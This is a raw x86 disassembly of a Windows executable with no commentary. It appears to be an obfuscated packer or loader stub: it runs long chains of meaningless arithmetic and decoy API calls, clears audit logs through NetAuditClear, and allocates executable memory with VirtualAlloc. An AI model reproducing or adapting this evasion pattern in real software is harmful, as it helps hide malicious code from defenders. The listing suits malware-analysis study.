push edx
lea eax, [esp + 0x404]
push eax
lea ecx, [esp + 0x2c0]
mov dword [esp + 0x4d48], 5
mov byte [esp + 0x2c], 2
mov dword [esp + 0x30], 0xcb
call fcn.004041f0
cmp dword [0x47ba30], edi
je 0x405ae9
mov ecx, dword [esp + 0x44]
lea edx, [ecx + ecx]
sub edx, edi
mov dword [esp + 0x44], edx
jmp 0x405b5e
fild dword [esp + 0xe8]
fstp dword [esp + 0x24]
fld dword [esp + 0x24]
call fcn.0044395c
fstp dword [esp + 0x24]
mov ecx, dword [0x47ba2c]
fld dword [esp + 0x24]
mov eax, 0xd20d20d3
fstp dword [esp + 0xf4]
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
movzx edx, byte [esp + 0x64]
movzx ecx, bl
imul eax, ecx
imul eax, edx
cdq
and edx, 7
add eax, edx
sar eax, 3
sub ebx, eax
sub ebx, dword [esp + 0x34]
add ebx, dword [esp + 0x60]
mov dword [esp + 0x24], ebx
fild dword [esp + 0x24]
fsub dword [esp + 0xf4]
call fcn.00444800
mov dword [esp + 0x7c], eax
mov al, byte [esp + 0x34]
mov ecx, dword [esp + 0x40]
lea edx, [esp + 0x24]
mov byte [esp + 0x24], al
push edx
lea eax, [esp + 0x3f8]
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x2c0]
call fcn.004041f0
mov cl, byte [0x47ba38]
mov edx, dword [esp + 0x4c]
mov byte [esp + 0x24], cl
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3d0]
push ecx
lea ecx, [esp + 0x2c0]
mov dword [esp + 0x30], edx
call fcn.004041f0
mov eax, dword [esp + 0x2d0]
mov ebx, dword [eax + 4]
cmp byte [ebx + 0x15], 0
mov edi, ebx
jne 0x405bee
mov edx, dword [edi + 8]
push edx
lea ecx, [esp + 0x2bc]
call fcn.004023d0
mov edi, dword [edi]
push ebx
call fcn.0040c0f1
add esp, 4
cmp byte [edi + 0x15], 0
mov ebx, edi
je 0x405bc4
mov eax, dword [esp + 0x2d0]
mov ebx, dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryA]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x2d0]
xor ecx, ecx
mov dword [esp + 0x2d4], ecx
mov dword [eax], eax
mov eax, dword [esp + 0x2d0]
mov dword [eax + 8], eax
lea edi, [ecx + 5]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x30], 0xa
mov dword [esp + 0x180], ecx
mov dword [esp + 0x184], ecx
mov dword [esp + 0x1c4], ecx
mov dword [esp + 0x1c8], ecx
jmp 0x405c50
mov eax, 0x210
sub eax, dword [esp + 0x54]
lea ecx, [esp + 0x24a4]
push 0
lea edx, [esp + 0x1150]
sub eax, ecx
push edx
sub edi, 1
mov dword [esp + 0x5c], eax
call ebx
test edi, edi
jne 0x405c50
lea eax, [esp + 0x180]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x405c90
movzx ecx, word [0x47ba3c]
xor eax, eax
mov edx, eax
imul edx, dword [esp + 0x38]
add ecx, esi
cmp ecx, edx
jb 0x405caa
mov dword [esp + 0x40], eax
lea eax, [esp + 0x1c4]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
xor ecx, ecx
test ax, ax
setl cl
add ecx, 2
mov eax, ecx
cdq
mov ecx, 3
idiv ecx
mov edx, dword [esp + edx*4 + 0x3cc]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
lea eax, [esp + 0x1254]
push str.ID_GUID
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x1254]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
mov edi, dword [esp + 0x1c4]
cmp dword [esp + 0x180], edi
mov ebx, dword [esp + 0x1c8]
jne 0x405db0
cmp dword [esp + 0x184], ebx
jne 0x405db0
fldz
sub esp, 8
fstp qword [esp]
call fcn.00443650
fstp dword [esp + 0x2c]
fld dword [esp + 0x2c]
mov edx, dword [esp + 0x40]
add esp, 8
fstp dword [esp + 0x24]
test edx, edx
fild dword [esp + 0x38]
jge 0x405d5d
fadd qword [0x45f720]
mov eax, dword [esp + 0x54]
fild dword [esp + 0x54]
test eax, eax
jge 0x405d6f
fadd dword [0x45f74c]
mov ecx, dword [0x47ba2c]
fadd dword [esp + 0x24]
imul ecx, dword [esp + 0x40]
fnstcw word [esp + 0x44]
movzx eax, word [esp + 0x44]
mov dword [esp + 0x24], ecx
or eax, 0xc00
fiadd dword [esp + 0x24]
mov dword [esp + 0x24], eax
fsubp st(1)
fldcw word [esp + 0x24]
fistp qword [esp + 0x24]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x38], edx
fldcw word [esp + 0x44]
jmp 0x405e26
cmp dword [0x47ba44], 0
jne 0x405e13
fild dword [esp + 0x44]
call fcn.00443830
fstp dword [esp + 0x24]
mov eax, dword [esp + 0x60]
fld dword [esp + 0x24]
lea ecx, [eax + 0x59]
fstp dword [esp + 0x64]
mov eax, 1
cdq
idiv ecx
mov edx, dword [esp + 0x54]
test edx, edx
mov dword [esp + 0x24], eax
fild dword [esp + 0x24]
fmul dword [esp + 0x64]
fsub qword [0x45f768]
fild dword [esp + 0x54]
jge 0x405e01
fadd dword [0x45f74c]
fsubp st(1)
fiadd dword [0x47ba30]
call fcn.00444800
mov dword [0x47ba30], eax
add dword [esp + 0x3c], 1
mov dword [esp + 0x180], edi
mov dword [esp + 0x184], ebx
movzx edi, word [0x47ba38]
imul edi, dword [esp + 0x34]
imul edi, dword [esp + 0x4c]
cmp dword [esp + 0x3c], 0
mov dword [esp + 0x44], edi
je 0x405e59
push 0
lea eax, [esp + 0x5d8]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
add dword [esp + 0x50], 1
mov edx, dword [esp + 0x84]
push 0
push 0
push 0
movzx ecx, di
push 0
push ecx
push edx
call dword [sym.imp.USER32.dll_LoadImageA]
cmp dword [esp + 0x50], 4
jg 0x405fb3
cmp dword [esp + 0x7c], 0
mov ebx, dword [0x47ba2c]
je 0x405ead
mov ecx, dword [esp + 0x5c]
imul ecx, dword [0x47ba30]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, dword [esp + 0x7c]
jmp 0x405f12
fild dword [esp + 0x80]
call fcn.004446f0
mov eax, 0x3531dec1
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x4c]
imul edx, dword [0x47ba30]
mov dword [esp + 0x24], eax
xor eax, eax
fild dword [esp + 0x24]
movzx ecx, al
fmulp st(1)
mov dword [esp + 0x24], ecx
movzx eax, al
fild dword [esp + 0x24]
mov dword [esp + 0x24], edx
fsubp st(1)
fild dword [esp + 0x24]
mov dword [esp + 0x24], eax
faddp st(1)
fild dword [esp + 0x24]
faddp st(1)
fisub dword [0x47ba38]
call fcn.00444800
mov esi, eax
cmp dword [esp + 0x3c], 1
jg 0x405f9e
lea ecx, [esp + 0x39ac]
movzx edx, cl
add edx, dword [esp + 0x54]
cmp edx, dword [0x47ba38]
jae 0x405f42
movzx eax, byte [0x47ba44]
imul eax, ebx
mov dword [0x47ba30], eax
mov ecx, dword [esp + 0x148]
push 0xbb3
push ecx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea edx, [esp + 0xa9c]
push edx
push 0
push 0x143
push 0
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x47ba30]
mov ebx, dword [esp + 0x34]
cdq
lea ecx, [ebx + 0x5b]
idiv ecx
movzx edx, word [0x47ba38]
imul eax, edx
cmp edi, eax
jne 0x405f91
mov dword [esp + 0x4c], 0
sub dword [esp + 0x30], 1
jne 0x405c90
jmp 0x405fb7
test edi, edi
je 0x405fb3
mov eax, dword [esp + 0x34]
push 1
push 0
push eax
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
mov ebx, dword [esp + 0x34]
mov ecx, dword [0x47bafc]
mov eax, dword [0x47ba40]
push 0
push ecx
push ebx
push eax
xor eax, eax
mov edx, eax
sub edx, eax
sub edx, 0x32
push edx
sub esi, eax
sub esi, 0x14
push esi
push 0x28
push eax
push 0x50a00003
push 0x45f718
push str.LISTBOX
push 0x100
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0
push 0x188
push eax
mov dword [0x47baf8], eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, 0x61
mov edi, edi
mov eax, dword [0x47ba38]
cmp eax, dword [0x47ba30]
jle 0x406024
mov eax, 0xff0000
jmp 0x40602c
push 0x11
call dword [sym.imp.USER32.dll_GetSysColor]
push eax
push ebx
call dword [sym.imp.GDI32.dll_SetTextColor]
sub esi, 1
jne 0x406010
lea ecx, [esp + 0x2b8]
mov dword [esp + 0x4d40], 0xffffffff
call fcn.004046e0
lea ecx, [esp + 0x70c]
mov ebx, 2
sub ebx, dword [0x47ba38]
push ecx
sub ebx, dword [esp + 0x38]
push esi
mov dword [esp + 0x38], esi
call dword [sym.imp.USER32.dll_BeginPaint]
mov edx, dword [esp + 0x34]
push edx
mov dword [esp + 0x54], eax
mov dword [esp + 0x3c], esi
call dword [sym.imp.COMCTL32.dll_ImageList_GetImageCount]
mov eax, dword [esp + 0x40]
lea ecx, [eax + 1]
cmp edi, ecx
jge 0x40609e
mov edx, dword [0x47ba38]
lea eax, [eax + edx + 0xa]
mov dword [esp + 0x40], eax
cmp dword [esp + 0x60], 0
jle 0x40625f
mov ecx, dword [esp + 0x34]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, dword [esp + 0x60]
neg eax
mov dword [esp + 0x24], eax
mov eax, dword [0x47ba2c]
mov dword [esp + 0x5c], ecx
jmp 0x4060d0
mov edi, dword [esp + 0x24]
imul edi, dword [0x47ba30]
lea edx, [esp + 0x334]
push edx
push 0
push 0
add edi, eax
call dword [sym.imp.COMCTL32.dll_ImageList_GetImageInfo]
mov esi, eax
lea eax, [ebx + 0xa]
lea ecx, [esi + eax*2]
add ecx, eax
xor eax, eax
mov ebx, eax
mov edx, eax
mov dword [esp + 0x350], edx
sub edx, ebx
add edi, ecx
mov dword [esp + 0x64], edx
imul edx, edx, 0xb
mov ecx, eax
mov dword [esp + 0x34c], ecx
sub ecx, eax
mov dword [esp + 0xf4], ecx
lea ecx, [esp + 0x644]
mov dword [esp + 0x338], eax
mov dword [esp + 0x33c], eax
mov dword [esp + 0x340], eax
mov dword [esp + 0x344], eax
push ecx
mov dword [esp + 0x48], edi
mov edi, eax
mov eax, dword [0x47ba38]
mov dword [esp + 0x34c], ebx
mov ebx, dword [esp + 0x38]
add edx, esi
push 0x54
add eax, 3
add edx, ebx
add dword [esp + 0x48], edx
push edi
mov dword [esp + 0x340], edi
mov dword [esp + 0x48], eax
call dword [sym.imp.GDI32.dll_GetObjectA]
push edi
call dword [sym.imp.GDI32.dll_RealizePalette]
imul ebx, eax
mov edx, dword [esp + 0x30]
imul edx, dword [esp + 0x4c]
mov eax, dword [0x47ba2c]
lea ecx, [eax + edx*2 - 0xa]
movzx eax, word [esp + 0x66a]
cmp eax, 8
mov dword [esp + 0x30], ecx
jg 0x4061b5
cmp dword [esp + 0x44], 8
jg 0x4061b5
lea eax, [edi + 1]
jmp 0x4061b7
xor eax, eax
test ebx, ebx
jne 0x4061fa
cmp esi, dword [0x47ba38]
jne 0x4061fa
mov edx, dword [esp + 0x64]
cmp edx, dword [0x47ba40]
jne 0x4061fa
cmp eax, 1
mov ecx, dword [0x47ba44]
mov dword [esp + 0x58], ecx
jne 0x406212
mov edx, dword [esp + 0x38]
push edx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov dword [esp + 0x38], eax
jmp 0x406212
mov ecx, dword [0x47ba30]
lea edx, [ecx + esi - 0xe]
mov dword [esp + 0x58], 0
mov dword [0x47ba30], edx
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x50]
push 0
push eax
push ecx
call dword [sym.imp.GDI32.dll_SelectPalette]
xor edi, edi
cmp dword [esp + 0x58], edi
jne 0x406389
cmp dword [esp + 0x34], 1
je 0x40624f
mov eax, dword [esp + 0x608]
push edi
lea edx, [esp + 0x1150]
push edx
push eax
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x47ba2c]
sub dword [esp + 0x5c], 1
jne 0x4060d0
lea eax, [esp + 0x70c]
push eax
push 0
call dword [sym.imp.USER32.dll_EndPaint]
mov esi, dword [0x47ba38]
xor eax, eax
add esi, 0x45
mov dword [esp + 0xe8], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe8], eax
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe8], eax
je 0x4062c3
mov edi, dword [sym.imp.WS2_32.dll_WSAStartup]
lea esp, [esp]
lea ecx, [esp + 0x74c]
push ecx
push 2
sub esi, 1
call edi
test esi, esi
jne 0x4062b0
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push 5
push 0
call edi
mov ebx, dword [0x47ba38]
imul ebx, dword [0x47ba2c]
push 5
push 0
mov esi, eax
add ebx, 0x6e35
call edi
lea edx, [esp + 0x114c]
push edx
push esi
mov esi, dword [sym.imp.USER32.dll_SetWindowTextA]
mov edi, eax
call esi
lea eax, [esp + 0x3cbc]
push eax
push edi
call esi
push 0x400
lea ecx, [esp + 0x4500]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetConsoleTitleA]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea edx, [esp + 0x4904]
push str._d__d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x70]
cdq
add esp, 0x10
and edx, 3
add eax, edx
push 0
sar eax, 2
push 0
lea eax, [esp + eax + 0x40f4]
push 0
lea edx, [eax + ecx - 2]
push 0x45f700
mov dword [esp + 0x34], edx
call dword [sym.imp.GDI32.dll_CreateICA]
push 4
call fcn.0040c0c6
add esp, 4
test eax, eax
je 0x4063cf
lea ecx, [esp + 0x11c]
mov dword [eax], ecx
jmp 0x4063d1
xor esi, esi
cmp dword [esp + 0x3c], esi
jle 0x40624f
mov ecx, dword [esp + 0x50]
mov edx, dword [esp + 0x34]
push 0
push 0
push edi
push ecx
push esi
push edx
call dword [sym.imp.COMCTL32.dll_ImageList_Draw]
add edi, dword [esp + 0xf4]
lea eax, [ebx + 1]
imul eax, dword [0x47ba3c]
add esi, 1
cmp esi, dword [esp + 0x3c]
mov dword [0x47ba2c], eax
jl 0x406395
jmp 0x406254
xor eax, eax
mov dword [esp + 0x11c], eax
xor eax, eax
mov dword [esp + 0x12c], eax
mov dword [esp + 0x130], eax
mov dword [esp + 0x134], eax
mov dword [esp + 0x138], eax
push 1
lea ecx, [esp + 0x120]
mov dword [esp + 0x4d44], 6
call fcn.00404090
mov eax, dword [esp + 0x138]
mov edx, dword [esp + 0x134]
lea edi, [eax + edx]
mov eax, dword [esp + 0x130]
mov esi, edi
shr esi, 4
cmp eax, esi
ja 0x406432
sub esi, eax
mov ecx, dword [esp + 0x12c]
cmp dword [ecx + esi*4], 0
jne 0x406453
push 0x10
call fcn.0040c0c6
mov edx, dword [esp + 0x130]
add esp, 4
mov dword [edx + esi*4], eax
mov eax, dword [esp + 0x12c]
and edi, 0xf
add edi, dword [eax + esi*4]
je 0x406465
mov byte [edi], 0
mov esi, dword [esp + 0x138]
mov eax, dword [esp + 0x134]
add esi, 1
mov dword [esp + 0x138], esi
add esi, eax
cmp eax, esi
jbe 0x406488
call fcn.00443d14
mov eax, dword [esp + 0x11c]
test eax, eax
mov edi, eax
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], esi
jne 0x4064bb
call fcn.00443d14
xor eax, eax
xor ecx, ecx
mov ecx, dword [ecx + 0x1c]
add ecx, dword [eax + 0x18]
add esi, 0xffffffff
cmp esi, ecx
ja 0x4064c8
test edi, edi
je 0x4064c1
mov edi, dword [edi]
jmp 0x4064c3
mov eax, dword [eax]
mov ecx, eax
jmp 0x4064a6
xor edi, edi
cmp esi, dword [edi + 0x18]
jae 0x4064cd
call fcn.00443d14
mov edx, dword [esp + 0x64]
lea ecx, [esp + 0x64]
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], esi
call fcn.00401cd0
movzx eax, byte [eax]
mov ecx, dword [esp + 0x134]
mov dword [esp + 0x3a0], eax
mov eax, dword [esp + 0x138]
lea edx, [eax + ecx]
test dl, 0xf
jne 0x40651f
add eax, 0x10
shr eax, 4
cmp dword [esp + 0x130], eax
ja 0x40651f
push 1
lea ecx, [esp + 0x120]
call fcn.00404090
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x138]
lea edi, [ecx + eax]
mov eax, dword [esp + 0x130]
mov esi, edi
shr esi, 4
cmp eax, esi
ja 0x406542
sub esi, eax
mov edx, dword [esp + 0x12c]
cmp dword [edx + esi*4], 0
jne 0x406563
push 0x10
call fcn.0040c0c6
mov ecx, dword [esp + 0x130]
add esp, 4
mov dword [ecx + esi*4], eax
mov edx, dword [esp + 0x12c]
and edi, 0xf
add edi, dword [edx + esi*4]
je 0x406575
mov byte [edi], 2
mov eax, dword [esp + 0x34]
mov esi, dword [esp + 0x24]
lea edi, [eax + 0x44]
mov eax, esi
cdq
idiv edi
mov ecx, dword [esp + 0x138]
mov edx, dword [esp + 0x134]
add ecx, 1
mov dword [esp + 0x138], ecx
mov dword [0x47ba30], 0
sub esi, eax
lea eax, [ecx + edx]
cmp edx, eax
jbe 0x4065b5
call fcn.00443d14
fild dword [0x47ba30]
fstp dword [esp + 0x24]
fld dword [esp + 0x24]
call fcn.0044395c
fstp dword [esp + 0x24]
fld dword [esp + 0x24]
lea ecx, [esp + 0x24a4]
fstp dword [esp + 0x64]
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fmul dword [esp + 0x64]
fimul dword [0x47ba40]
fsub qword [0x45f768]
fadd qword [0x45f6f8]
fsub qword [0x45f6f0]
call fcn.00444800
mov edi, dword [esp + 0x44]
cmp edi, esi
mov dword [0x47ba30], eax
jge 0x406668
xor eax, eax
movzx ecx, al
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
xor eax, eax
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
xor ecx, ecx
mov eax, 0x2df2df2d
imul ecx
sub edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, dword [0x47ba2c]
lea ecx, [edi + eax - 2]
mov dword [esp + 0x44], ecx
cmp dword [esp + 0x138], 0
je 0x406687
sub dword [esp + 0x138], 1
jne 0x406687
mov dword [esp + 0x134], 0
push 0
push 0
push 0
call sub.NETAPI32.dll_NetAuditClear
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea ecx, [esp + 0x11c]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x4d40], 0xffffffff
call fcn.00402360
mov edx, dword [esp + 0x11c]
push edx
call fcn.0040c0f1
push 0xff
lea eax, [esp + 0x2bb5]
push 0
push eax
call fcn.00443b70
mov ecx, dword [0x47ba2c]
mov eax, dword [0x47ba3c]
mov edx, dword [0x47ba40]
add esp, 0x10
push ecx
push edx
mov dword [esp + 0x2bb4], eax
mov edi, eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea eax, [esp + 0x504]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0
lea ecx, [esp + 0x154]
push ecx
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov edx, dword [esp + 0x14c]
push edx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
lea eax, [esp + 0x19c]
push eax
lea ecx, [esp + 0x2bb0]
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, dword [0x47ba3c]
test eax, eax
mov eax, esi
je 0x40677c
mov eax, dword [0x47ba2c]
mov edx, esi
imul edx, eax
push 0xff
lea eax, [esp + 0x8e1]
push 0
push eax
mov dword [0x47ba2c], edx
call fcn.00443b70
add esp, 0xc
push 0x32
lea ecx, [esp + 0xef8]
mov dword [esp + 0x8e0], esi
mov esi, dword [0x47ba40]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
lea ecx, [esp + 0xef4]
lea eax, [esp + 0x8dc]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4067f0
test dl, dl
je 0x4067ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4067f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4067d0
xor eax, eax
jmp 0x4067f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40680e
push eax
push esi
push 0x223
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [0x47ba3c]
mov edi, esi
imul edi, dword [0x47ba2c]
push 0xff
lea edx, [esp + 0x2fb1]
push 0
push edx
mov dword [0x47ba2c], edi
call fcn.00443b70
mov eax, dword [esp + 0x1a8]
mov edx, dword [esp + 0x1a8]
mov ecx, dword [0x47ba38]
mov ebx, dword [0x47ba44]
add eax, esi
add esp, 0xc
cmp edx, eax
mov dword [esp + 0x2fac], esi
jne 0x40687d
movzx eax, si
imul eax, ebx
imul eax, ecx
add eax, 1
imul eax, dword [esp + 0x14c]
add eax, dword [0x47ba40]
jmp 0x406884
mov eax, dword [esp + 0x14c]
lea esi, [ebx + ecx]
imul ecx, edi
cmp ecx, esi
jne 0x4068a4
movzx ecx, ax
sub edx, ecx
lea edx, [edx + ebx + 4]
imul edx, dword [0x47ba30]
mov dword [0x47ba30], edx
push 0
push 0
lea eax, [esp + 0x250]
push eax
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov ecx, dword [esp + 0x248]
push ecx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
lea edx, [esp + 0x3a4]
push edx
lea eax, [esp + 0x2fb0]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov eax, dword [0x47ba3c]
mov ecx, eax
je 0x4068fd
mov ecx, dword [0x47ba2c]
mov edi, dword [0x47ba38]
imul eax, ecx
mov ecx, dword [0x47ba30]
mov esi, dword [0x47ba40]
mov dword [0x47ba2c], eax
mov ebx, eax
mov eax, edi
sub eax, 1
mov dword [esp + 0x24], ecx
jne 0x406932
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov edx, dword [esp + 0x24]
push edx
push ebx
push edi
push esi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push esi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x406954
add dword [0x47ba2c], 1
mov esi, dword [0x47ba3c]
mov eax, esi
imul eax, dword [0x47ba2c]
push 0xff
lea ecx, [esp + 0x28b1]
push 0
push ecx
mov dword [0x47ba2c], eax
call fcn.00443b70
add esp, 0xc
push 0
push 0
lea edx, [esp + 0xb0]
push edx
push 0x400
mov dword [esp + 0x28bc], esi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov eax, dword [esp + 0xa8]
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFree]
lea ecx, [esp + 0x238]
push ecx
lea edx, [esp + 0x28b0]
push edx
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov edi, dword [0x47ba3c]
jne 0x4069de
mov dword [0x47ba2c], edi
mov eax, dword [0x47ba38]
sub eax, 1
jne 0x4069ff
mov eax, dword [0x47ba40]
mov esi, dword [sym.imp.USER32.dll_GetParent]
push eax
call esi
push eax
call esi
mov edi, dword [0x47ba3c]
mov esi, edi
imul esi, dword [0x47ba2c]
push 0xff
lea ecx, [esp + 0x8e1]
push 0
push ecx
mov dword [0x47ba2c], esi
call fcn.00443b70
mov edx, dword [0x47ba40]
add esp, 0xc
push esi
push edx
mov dword [esp + 0x8e4], edi
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea eax, [esp + 0x524]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov esi, dword [0x47ba38]
mov ecx, dword [0x47ba30]
mov edi, dword [0x47ba40]
mov ebx, dword [0x47ba2c]
mov eax, esi
sub eax, 1
mov dword [esp + 0x24], ecx
jne 0x406a8b
push edi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov edx, dword [esp + 0x24]
push edx
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x406aad
add dword [0x47ba2c], 1
mov esi, dword [0x47ba40]
push 0x32
lea eax, [esp + 0xd24]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
lea ecx, [esp + 0xd20]
lea eax, [esp + 0x8dc]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406af2
test dl, dl
je 0x406aee
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406af2
add eax, 2
add ecx, 2
test dl, dl
jne 0x406ad2
xor eax, eax
jmp 0x406af7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x406b16
push eax
push esi
push 0x223
push esi
mov esi, dword [sym.imp.USER32.dll_GetParent]
call esi
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push eax
call ebx
jmp 0x406b22
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [0x47ba38]
sub eax, 1
jne 0x406b38
mov ecx, dword [0x47ba40]
push ecx
call esi
push eax
call esi
mov eax, dword [0x47ba38]
sub eax, 1
mov edi, dword [sym.imp.GDI32.dll_GetStockObject]
jne 0x406b8b
mov eax, dword [0x47ba30]
mov edx, dword [eax + 4]
mov eax, dword [0x47ba40]
push 0
push edx
push 0
push eax
push 0
push 0
push 0
push 0
push 0x50000100
push str.listbox_control
push str.listbox
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x11
mov esi, eax
call edi
push eax
push 0x30
push esi
call ebx
mov eax, dword [0x47ba3c]
imul eax, dword [0x47ba2c]
mov ecx, dword [0x47ba38]
sub ecx, 1
mov dword [0x47ba2c], eax
jne 0x406bef
mov eax, dword [0x47ba30]
mov edx, dword [0x47ba40]
push ecx
mov ecx, dword [eax + 4]
push ecx
push 0
push edx
push 0
push 0
push 0
push 0
push 0x50000100
push str.listbox_control
push str.listbox
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x11
mov esi, eax
call edi
push eax
push 0x30
push esi
call ebx
mov eax, dword [0x47ba2c]
mov edi, dword [0x47ba38]
mov esi, dword [0x47ba40]
mov ebx, eax
mov eax, dword [0x47ba30]
mov dword [esp + 0x24], eax
mov eax, edi
sub eax, 1
jne 0x406c1b
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov ecx, dword [esp + 0x24]
push ecx
push ebx
push edi
push esi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push esi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x406c3d
add dword [0x47ba2c], 1
mov edx, dword [0x47ba38]
mov ecx, dword [0x47ba40]
mov eax, edx
sub eax, 1
jne 0x406c68
mov esi, dword [sym.imp.USER32.dll_GetParent]
push ecx
call esi
push eax
call esi
mov edx, dword [0x47ba38]
mov ecx, dword [0x47ba40]
mov edi, dword [0x47ba3c]
mov eax, dword [esp + 0x238]
mov esi, dword [0x47ba44]
add eax, edi
cmp dword [esp + 0xa8], eax
jne 0x406c9e
movzx eax, di
imul eax, esi
imul eax, edx
add eax, 1
imul eax, dword [esp + 0xa8]
add eax, ecx
jmp 0x406ca5
mov eax, dword [esp + 0xa8]
lea ebx, [esi + edx]
imul edx, dword [0x47ba2c]
cmp edx, ebx
jne 0x406ccf
movzx edx, ax
mov eax, dword [esp + 0xa8]
sub eax, edx
lea eax, [eax + esi + 4]
imul eax, dword [0x47ba30]
mov dword [0x47ba30], eax
mov edx, dword [0x47ba2c]
push edx
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea eax, [esp + 0x544]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov edi, dword [0x47ba3c]
mov esi, edi
imul esi, dword [0x47ba2c]
push 0xff
lea ecx, [esp + 0x30b1]
push 0
push ecx
mov dword [0x47ba2c], esi
